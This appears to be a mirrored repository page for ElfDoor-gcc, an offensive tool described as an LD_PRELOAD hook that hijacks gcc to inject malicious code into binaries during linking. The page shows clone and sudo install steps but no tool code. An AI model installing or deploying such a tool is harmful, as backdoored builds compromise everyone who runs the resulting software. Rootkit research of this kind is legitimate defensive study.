GitHunt
MA

MatheuZSecurity/ElfDoor-gcc

ElfDoor-gcc is an LD_PRELOAD that hijacks gcc to inject malicious code into binaries during linking, without touching the source code.

ElfDoor-gcc

ElfDoor-gcc is an LD_PRELOAD that hijacks gcc to inject malicious code into binaries during linking, without touching the source code.

Detailed Article: https://matheuzsecurity.github.io/hacking/gcc/

Install

git clone https://github.com/MatheuZSecurity/ElfDoor-gcc
cd ElfDoor-gcc
chmod +x install.sh
sudo ./install.sh

Rootkit Researchers

Languages

C83.0%Shell17.0%

Contributors

MIT License
Created April 13, 2025
Updated February 21, 2026
MatheuZSecurity/ElfDoor-gcc | GitHunt